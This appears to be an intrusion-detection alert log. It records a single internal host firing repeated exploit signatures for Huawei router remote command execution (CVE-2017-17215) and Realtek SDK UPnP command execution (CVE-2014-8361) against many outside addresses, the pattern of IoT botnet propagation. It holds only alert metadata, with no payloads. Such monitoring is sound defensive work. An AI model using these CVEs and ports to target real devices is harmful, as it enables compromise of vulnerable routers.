Source Port:	44854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.74.129

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	57262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.166.130

Timestamp:	07/20/24-23:01:22.746527
SID:	2835222
Source Port:	44604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.5.41.2

Timestamp:	07/20/24-23:01:27.354179
SID:	2027339
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.230.84.239

Timestamp:	07/20/24-23:01:06.801747
SID:	2835222
Source Port:	56092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.104.62

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	54694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.63.79.183

Timestamp:	07/20/24-23:01:22.745836
SID:	2829579
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.137.120.101

Timestamp:	07/20/24-23:01:21.653411
SID:	2027339
Source Port:	59900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.15.127.11

Timestamp:	07/20/24-23:01:08.459273
SID:	2835222
Source Port:	33824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.237.222

Timestamp:	07/20/24-23:00:59.019716
SID:	2829579
Source Port:	33704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.243.240

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
Source Port:	43946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.161.28

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	47714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.15.127

Timestamp:	07/20/24-23:01:25.390311
SID:	2829579
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.144.249

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	40106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 213.139.43.137

Timestamp:	07/20/24-23:01:05.458663
SID:	2025132
Source Port:	39604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.51.236

Timestamp:	07/20/24-23:01:08.392180
SID:	2835222
Source Port:	37452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.36.126

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	36836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.137.5

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	54014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.13.115.180

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	49966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.173.22

Timestamp:	07/20/24-23:01:08.418538
SID:	2835222
Source Port:	42354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.199.60

Timestamp:	07/20/24-23:01:36.781770
SID:	2829579
Source Port:	44366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.180.21

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	50196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.210.89.153

Timestamp:	07/20/24-23:00:59.054990
SID:	2835222
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.148.6

Timestamp:	07/20/24-23:01:12.539005
SID:	2829579
Source Port:	35590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 188.92.142.69

Timestamp:	07/20/24-23:01:12.483293
SID:	2835222
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.24.104

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	33012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.103.196.150

Timestamp:	07/20/24-23:01:18.735326
SID:	2027339
Source Port:	52682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.140.73

Timestamp:	07/20/24-23:01:22.746527
SID:	2835222
Source Port:	60772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.193.80.89

Timestamp:	07/20/24-23:01:04.918465
SID:	2829579
Source Port:	37876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.179.49

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	44480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.209.245.77

Timestamp:	07/20/24-23:01:05.639157
SID:	2027339
Source Port:	57916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.109.233

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	41894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 191.94.176.193

Timestamp:	07/20/24-23:01:14.536803
SID:	2831300
Source Port:	48188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.85.40.21

Timestamp:	07/20/24-23:01:25.391568
SID:	2829579
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 204.210.9.128

Timestamp:	07/20/24-23:01:14.559132
SID:	2831300
Source Port:	50004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.164.90.189

Timestamp:	07/20/24-23:01:17.779183
SID:	2835222
Source Port:	53404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.80.254.248

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	43378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 43.240.11.124

Timestamp:	07/20/24-23:01:06.875564
SID:	2027339
Source Port:	44272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 60.17.2.252

Timestamp:	07/20/24-23:01:07.464144
SID:	2025132
Source Port:	57432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.142.181.62

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	50640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.116.205

Timestamp:	07/20/24-23:01:15.110016
SID:	2835222
Source Port:	33436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.171.224

Timestamp:	07/20/24-23:01:25.389819
SID:	2835222
Source Port:	41108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.29.16

Timestamp:	07/20/24-23:01:06.798673
SID:	2835222
Source Port:	35716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.69.119

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	36850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 9.155.213.68

Timestamp:	07/20/24-23:01:14.522190
SID:	2027339
Source Port:	53674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 111.37.65.174

Timestamp:	07/20/24-23:01:14.536691
SID:	2027339
Source Port:	39978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.162.72.121

Timestamp:	07/20/24-23:01:32.250506
SID:	2835222
Source Port:	47560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 81.71.223.221

Timestamp:	07/20/24-23:01:14.509824
SID:	2831300
Source Port:	53960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.48.21.58

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	38624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.116.1.211

Timestamp:	07/20/24-23:01:14.501229
SID:	2027339
Source Port:	49114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.99.109.164

Timestamp:	07/20/24-23:01:22.749654
SID:	2829579
Source Port:	57372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.233.66.3

Timestamp:	07/20/24-23:01:04.140547
SID:	2027339
Source Port:	49284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 81.215.100.254

Timestamp:	07/20/24-23:01:22.749655
SID:	2829579
Source Port:	41276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.158.218

Timestamp:	07/20/24-23:01:36.781974
SID:	2835222
Source Port:	37432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.108.240

Timestamp:	07/20/24-23:01:12.483526
SID:	2829579
Source Port:	44844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 9.231.7.210

Timestamp:	07/20/24-23:01:14.527257
SID:	2831300
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.184.127

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	58924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.255.245.79

Timestamp:	07/20/24-23:01:15.059692
SID:	2829579
Source Port:	46202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.65.103

Timestamp:	07/20/24-23:00:59.022115
SID:	2835222
Source Port:	55466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.127.94.34

Timestamp:	07/20/24-23:01:22.815176
SID:	2835222
Source Port:	52802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.232.217

Timestamp:	07/20/24-23:01:36.837667
SID:	2835222
Source Port:	44916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 216.194.176.131

Timestamp:	07/20/24-23:01:14.566461
SID:	2831300
Source Port:	58728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.115.129.156

Timestamp:	07/20/24-23:01:25.388641
SID:	2835222
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.4.214

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	54142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 177.143.99.241

Timestamp:	07/20/24-23:01:32.244559
SID:	2835222
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.48.240

Timestamp:	07/20/24-23:01:12.525593
SID:	2829579
Source Port:	60542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.151.150.92

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	39584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.216.227.33

Timestamp:	07/20/24-23:01:06.823879
SID:	2835222
Source Port:	58778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.192.10

Timestamp:	07/20/24-23:01:15.071306
SID:	2835222
Source Port:	53690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 161.241.29.146

Timestamp:	07/20/24-23:01:19.166109
SID:	2027339
Source Port:	48986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 148.238.53.45

Timestamp:	07/20/24-23:01:19.586614
SID:	2025132
Source Port:	45182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.195.137.191

Timestamp:	07/20/24-23:01:12.533730
SID:	2829579
Source Port:	51186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.82.36.0

Timestamp:	07/20/24-23:01:36.847780
SID:	2835222
Source Port:	57106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.61.244.136

Timestamp:	07/20/24-23:01:36.852816
SID:	2829579
Source Port:	44128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.43.76.166

Timestamp:	07/20/24-23:01:22.743515
SID:	2829579
Source Port:	56508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.165.41.153

Timestamp:	07/20/24-23:01:06.823879
SID:	2829579
Source Port:	44270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.171.233.155

Timestamp:	07/20/24-23:01:02.695891
SID:	2835222
Source Port:	46006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.57.196.100

Timestamp:	07/20/24-23:01:05.603594
SID:	2027339
Source Port:	46284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.30.119.39

Timestamp:	07/20/24-23:01:04.444180
SID:	2027339
Source Port:	41122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 9.155.213.68

Timestamp:	07/20/24-23:01:06.343282
SID:	2025132
Source Port:	51742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.242.220.137

Timestamp:	07/20/24-23:01:17.779183
SID:	2829579
Source Port:	45104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.113.9.186

Timestamp:	07/20/24-23:01:04.546140
SID:	2027339
Source Port:	59034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 50.131.46.205

Timestamp:	07/20/24-23:01:07.613848
SID:	2027339
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.243.137.80

Timestamp:	07/20/24-23:01:14.530874
SID:	2027339
Source Port:	50944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.46.85

Timestamp:	07/20/24-23:01:22.739710
SID:	2835222
Source Port:	37558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 220.26.7.227

Timestamp:	07/20/24-23:01:05.454905
SID:	2025132
Source Port:	39292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.132.119

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.126.184.91

Timestamp:	07/20/24-23:01:06.093406
SID:	2027339
Source Port:	37106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 109.242.201.39

Timestamp:	07/20/24-23:01:06.794922
SID:	2025132
Source Port:	35056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.42.196.199

Timestamp:	07/20/24-23:01:22.746773
SID:	2829579
Source Port:	38180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.21.70.134

Timestamp:	07/20/24-23:01:27.366334
SID:	2831300
Source Port:	40494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.41.207

Timestamp:	07/20/24-23:01:32.238260
SID:	2829579
Source Port:	59760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.42.197

Timestamp:	07/20/24-23:01:36.855169
SID:	2835222
Source Port:	53926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 18.101.167.39

Timestamp:	07/20/24-23:01:05.780570
SID:	2025132
Source Port:	45790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.192.198.218

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	38486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.251.199.254

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	49866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.37.91

Timestamp:	07/20/24-23:01:25.388699
SID:	2829579
Source Port:	53438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.152.49.106

Timestamp:	07/20/24-23:01:25.450878
SID:	2829579
Source Port:	39154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 141.172.190.0

Timestamp:	07/20/24-23:01:27.354009
SID:	2831300
Source Port:	45928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.52.101.23

Timestamp:	07/20/24-23:01:19.575737
SID:	2027339
Source Port:	47502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.145.141

Timestamp:	07/20/24-23:01:08.386561
SID:	2829579
Source Port:	56614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 125.82.19.196

Timestamp:	07/20/24-23:01:14.525496
SID:	2831300
Source Port:	50548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

